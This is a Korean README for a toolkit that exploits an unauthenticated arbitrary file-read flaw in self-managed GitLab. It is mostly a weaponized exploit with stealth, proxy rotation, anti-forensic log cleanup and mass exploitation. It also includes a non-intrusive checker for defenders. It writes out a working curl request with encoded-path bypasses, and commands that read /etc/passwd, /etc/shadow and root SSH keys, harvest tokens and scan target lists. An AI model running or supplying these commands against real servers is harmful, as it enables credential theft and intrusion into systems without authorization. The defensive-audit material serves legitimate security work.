
CVE-2026-85706 GitLab 비인증 파일 읽기용 Python 툴킷: loot, shell, 대량 스캔을 포함한 무기화된 익스플로잇과 비침투적 SafeChecker 감사 및 보고 기능.

⚠️ 윤리적 사용만 허용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계 유사 법률에 따라 불법입니다.
CVE‑2026‑85706은 자체 관리형 GitLab CE/EE(버전 18.7 ~ 19.3.1)의 치명적인 비인증 임의 로컬 파일 읽기 취약점으로, 비인증 공격자가 commits API에 단일 HTTP 요청을 보내 서버의 모든 파일을 읽을 수 있게 합니다.
%63ommits와 같은 인코딩된 문자를 사용하여 Workhorse의 보안 검사를 우회할 수 있습니다./api/v4/projects/{id}/repository/commits 엔드포인트는 인증이 적용되기 전에 file.path에 지정된 파일을 엽니다.%-시퀀스가 포함되어 있으면 Rack이 400 Bad Request 본문에 내용을 반향하여 전체 내용을 유출합니다.| 도구 | 목적 | 대상 사용자 |
|---|---|---|
exploit.py | 비인증 파일 읽기, 전리품 열거, 관리자 토큰 추출, 대량 스캔, 대화형 셸, 프록시 로테이션, 스텔스 모드 및 다중 형식 보고를 갖춘 완전한 무기화 툴킷. | 레드팀 / 승인된 침투 테스터 |
safechecker.py | GitLab 버전을 감지하고, 노출을 검증하고, 보안 헤더를 감사하고, 파일을 읽지 않고 위험을 평가하는 비침투적 취약점 검사기. JSON/CSV/HTML 보고서를 생성합니다. | 블루팀 / 보안 감사자 |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py 매개변수safechecker.py 매개변수익스플로잇은 다음 GitLab 엔드포인트와 우회 기법을 사용합니다:
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
| 기능 | exploit.py | safechecker.py |
|---|
| 취약점 탐지 | ✅ | ✅ |
| 버전 탐지 | ✅ | ✅ |
| 비인증 파일 읽기 | ✅ | ❌ |
| 전리품 열거 | ✅ | ❌ |
| 관리자 토큰 추출 | ✅ | ❌ |
| 대화형 셸 | ✅ | ❌ |
| 대량 스캔 (멀티스레드) | ✅ | ✅ |
| 보안 헤더 감사 | ❌ | ✅ |
| TLS/인증서 검사 | ❌ | ✅ |
| MITRE ATT&CK 매핑 | ✅ | ✅ |
| 프록시 지원 | ✅ | ✅ |
| 프록시 로테이션 | ✅ | ❌ |
| User‑Agent 로테이션 (OPSEC) | ✅ | ❌ |
| 지터 / 지연 (OPSEC) | ✅ | ❌ |
| 적응형 속도 제한기 | ✅ | ✅ |
| 스텔스 모드 | ✅ | ❌ |
| curl_cffi TLS 임퍼소네이션 | ✅ | ❌ |
| 비침투적 (안전) 모드 | ❌ | ✅ |
| JSON / JSONL / CSV / HTML 출력 | ✅ | ✅ |
| SQLite DB 출력 | ✅ | ❌ |
| 웹훅 알림 | ✅ | ✅ |
| 이전 스캔과의 비교 | ✅ | ✅ |
| 로그 정리 (안티 포렌식) | ✅ | ❌ |
| 사용자 정의 User‑Agent | ✅ | ✅ |
| SSL 검증 제어 | ✅ | ✅ |
| 시나리오 | 권장 도구 |
|---|
| 블루팀 – GitLab이 취약한지 확인 | safechecker.py |
| 보안 감사 – 비침투적 취약점 평가 | safechecker.py |
| 레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safechecker.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py (탐지만) |
| 사고 대응 – 시스템이 침해되었는지 확인 | safechecker.py |
| 매개변수 | 설명 |
|---|
-u, --url | 단일 대상 URL (예: https://gitlab.example.com) |
-f, --file | 대상 목록이 포함된 파일 (한 줄에 하나씩) |
--pipe | stdin에서 대상 읽기 (subfinder/httpx 파이프라인) |
--read | 읽을 절대 경로, 쉼표로 구분 |
--wordlist | 읽을 경로가 포함된 파일 (한 줄에 하나씩) |
--project-id | 특정 프로젝트 ID 강제 지정 |
--max-projects | 시도할 최대 프로젝트 ID (기본값: 8) |
--auto | 고가치 GitLab 파일 자동 전리품 수집 |
--loot | --auto와 동일 |
--shell | 익스플로잇 후 대화형 셸 |
--force | GitLab 핑거프린트가 약해도 스캔 |
-t, --threads | 다중 대상용 스레드 (기본값: 8) |
--timeout | HTTP 타임아웃 (기본값: 15초) |
--retry | 재시도 횟수 (기본값: 3) |
--retry-on | 재시도할 HTTP 코드 (기본값: 429,500,502,503,504) |
--proxy | HTTP/HTTPS 프록시 |
--proxy-list | 로테이션용 프록시가 포함된 파일 |
--proxy-rotate | 로테이션 전략: round-robin, random, sticky |
--jitter | 요청 사이에 무작위 지터 추가 |
--jitter-range | 지터 최소,최대 초 (기본값: 0.1,2.0) |
--delay | 요청 사이 고정 지연 |
--stealth | 스텔스 모드 활성화 (UA 로테이션 + X-Forwarded-For) |
--curl-cffi | TLS 핑거프린트 임퍼소네이션을 위해 curl_cffi 사용 |
--user-agent-file | User-Agent 문자열이 포함된 파일 |
--max-body | 최대 응답 본문 크기 (0 = 무제한) |
--concurrent-per-host | 호스트당 최대 동시 요청 수 |
--rate-limit | 초당 최대 요청 수 (0 = 무제한) |
--exclude | 제외할 호스트, 쉼표로 구분 (glob 패턴) |
--grep | 정규식과 일치하는 유출만 표시 |
--resume | 상태 파일에서 재개 |
--notify | 알림 URL (slack:, discord:, telegram:) |
--db | 결과를 SQLite 데이터베이스에 저장 |
--output-format | 출력 형식: json, jsonl, csv, html |
-o, --output | 출력 파일 경로 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드 |
--no-color | 색상 비활성화 |
--no-banner | 배너 없음 |
--config | YAML/JSON 구성 파일 |
--dry-run | 요청을 보내지 않고 계획 표시 |
--safe-mode | 검증을 위해 /etc/hostname만 읽기 |
--timeout-profile | aggressive, normal, stealth |
--mitre | MITRE ATT&CK 매핑 포함 |
--fingerprint | 상세 GitLab 핑거프린트 |
--cve-check | 관련 CVE 확인 |
--json-schema | SIEM용 JSON 스키마로 출력 |
--progress | 진행 표시줄 표시 (rich 필요) |
| 매개변수 | 설명 |
|---|
-u, --url | 단일 대상 URL (예: https://gitlab.example.com) |
-f, --file | 대상이 포함된 파일 (한 줄에 하나씩) |
-t, --threads | 다중 대상용 스레드 (기본값: 5) |
--timeout | HTTP 타임아웃 (기본값: 10초) |
--rate-limit | 초당 최대 요청 수 (0 = 무제한) |
--user-agent | 사용자 정의 User-Agent 문자열 |
--insecure | TLS 검증 비활성화 (MITM 위험) |
--webhook | 웹훅 URL (slack:, discord:, telegram:) |
--diff | 이전 스캔 JSON과 비교 |
-v, --verbose | 상세 출력 |
-o, --output | JSON 출력 파일 |
--csv | CSV 출력 파일 |
--report | HTML 보고서 파일 |
--mitre | MITRE ATT&CK 매핑 포함 (기본값: 켜짐) |
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python safechecker.py -u https://gitlab.example.com |
| 2 | 보고서를 포함한 상세 감사 | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | 파일에서 대량 감사 | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | 탐지 전용 익스플로잇 | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | 단일 파일 읽기 | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | 여러 파일 읽기 | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | 고가치 파일 자동 전리품 수집 | python exploit.py -u https://gitlab.example.com --auto |
| 8 | 대화형 셸 | python exploit.py -u https://gitlab.example.com --shell |
| 9 | 스텔스를 사용한 대량 익스플로잇 | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | subfinder에서 파이프라인 | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | SIEM 출력을 포함한 전체 공격 | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | 중단된 스캔 재개 | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | 두 스캔 비교 | python safechecker.py -f targets.txt -o new.json --diff previous.json |
| 단계 | 메서드 | 엔드포인트 | 설명 |
|---|
| 1. 우회 | POST | /api/v4/projects/{id}/repository/%63ommits | 인코딩된 c가 Workhorse를 우회 |
| 2. 우회 | POST | /api/v4/projects/{id}/%72epository/commits | repository의 인코딩된 r |
| 3. 우회 | POST | /api/v4/projects/{id}/repository/commits/ | 후행 슬래시 우회 |
| 4. 우회 | POST | /api/v4/projects/{id}/repository/commits.json | Grape 형식 접미사 우회 |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | 대체 경로 |